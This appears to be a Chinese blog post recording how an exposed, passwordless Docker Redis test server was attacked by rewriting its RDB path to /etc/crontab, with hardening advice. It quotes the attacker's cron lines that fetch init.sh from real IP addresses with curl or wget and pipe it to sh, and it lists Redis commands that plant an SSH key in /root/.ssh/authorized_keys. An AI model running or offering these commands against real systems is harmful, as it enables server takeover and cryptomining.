Redis 也能被攻击?一次Redis被入侵的记录

本文揭露了一次通过RDB方式入侵Redis服务器的案例,攻击者试图通过下载并执行恶意脚本,利用定时任务可能造成的风险。文章强调了docker端口绑定、Redis密码设置及安全实践的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

通过 RDB 方式入侵,Redis 被攻击记录

1. 详情

发现 Redis 中突然多了几个 key

  • backup1
  • backup2
  • backup3
  • backup4

具体内容如下:

*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh

*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh


*/4 * * * * root curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh

*/5 * * * * root wd1 -q -O- http://45.133.203.192/cleanfda/init.sh | sh

看起来都是去下载sh脚本的。

然后看了下 Redis 日志,一直再报错:

 Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied

大概是RDB的时候,保存时因为没有权限报错了。

然后看了下RDB相关配置:

spider:0>config get dir
 1)  "dir"
 2)  "/etc"
spider:0>config get dbfilename
 1)  "dbfilename"
 2)  "crontab"

好家伙,果然被改了,给改成了/etc/crontab。这不就是定时任务吗

然后再结合上多出来的几个 key 的内容,妥妥的被攻击了。

这RDB如果执行成功了,然后定时任务就算是被添加了,最终把脚本下载下来并执行,妥妥的矿机一个了。

好在是这个 Redis 是用 docker 跑的,权限问题,没有被得手。

因为是测试服务器,随便用 Docker 起了一个,也没设置密码,端口和IP绑定也没改,就差点中招。

被入侵成功的案例:

https://www.codenong.com/txiaoxiaoher-2511379/

网上找了下,还有通过 设置主从同步 的方式被入侵的 redis 的案例:

https://www.renfei.net/posts/1003500

2. 后记

其实本次最大的漏洞是在 docker 运行绑定端口的时候,绑定是的 0.0.0.0:6379。正确的应该绑定 127.0.0.1:6379。

首先,docker 在绑定端口的时候直接修改了防火墙,如果不指定IP,那么默认是 0.0.0.0:6379,docker 设置防火墙开放 0.0.0.0:6379,任何 IP 都可以访问 6379。但你如果设置 127.0.0.1:6379,那只有本机地址能访问 6379。所以造成了端口向外暴露。docker 会接管防火墙!

防火墙相关文档 https://www.cnblogs.com/qjfoidnh/p/11567309.html

其次,因为原本设计的 redis 是内部使用,并不对外公开,也就没有密码,直接裸奔,也造成了端口暴露以后在全互联网裸奔的情况。

最后,redis 是可以将内容保存到本地磁盘中的,这就造成了通过 redis 间接可以写入文件,例如:

redis 执行以下命令,将 ssh key 写入被害机器,注意首尾要加换行符

set jjj "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABA....\n\n"
config set dir /root/.ssh
config set dbfilename authorized_keys
save

此时就将 ssh key 写入了 /root/.ssh/authorized_keys,就实现了免密登陆,黑客可以直接 ssh 进来了。同理还可以写入定时任务文件,让被害机器执行黑客的脚本。

解决方案

  • 1)docker 开放端口的时候一定要指定 IP 地址
  • 2)给 redis 增加密码验证

江湖凶险,即使是个测试服务器也不能掉以轻心

### Redis 未授权访问解决方案 为了防止 Redis 实例遭受未经授权的访问,采取适当的安全措施至关重要。以下是几种有效的防护方法: #### 配置密码认证 启用 Redis 认证功能可以有效阻止未授权用户的访问。通过设置 `requirepass` 参数来配置连接所需的密码。 ```bash requirepass your_strong_password ``` 这使得客户端在执行任何命令前必须先发送 AUTH 命令并提供正确的密码[^1]。 #### 绑定本地地址 确保 Redis 只监听来自可信网络接口的数据包,默认情况下应绑定到 localhost 或者特定内网 IP 地址上运行,而不是开放给所有外部请求。 ```bash bind 127.0.0.1 ``` 此操作减少了暴露于公共互联网的风险,从而降低了被攻击的可能性。 #### 修改默认端口 更改 Redis 默认使用的 TCP 端口号 (通常是6379),虽然这不是主要安全手段,但可以帮助减少自动化扫描工具发现服务的机会。 ```bash port 8379 ``` 这种做法增加了潜在入侵者的难度,因为他们需要猜测实际使用的端口编号。 #### 启用防火墙规则 利用操作系统自带的防火墙设施(如 iptables),仅允许指定源IP范围内的主机向 Redis 发起连接尝试,进一步缩小受信任设备列表。 ```bash iptables -A INPUT -p tcp --dport 8379 -s 192.168.1.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 8379 -j DROP ``` 上述指令表示接受来自192.168.1.x子网内部发起的所有入站TCP流量指向自定义后的Redis端口(这里假设为8379),而拒绝其他一切外来链接请求。 #### 定期更新与监控 保持软件版本处于最新状态,并定期审查日志文件中的异常活动记录;对于生产环境而言尤为重要的是部署专业的安全审计工具来进行实时监测预警。 ---
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值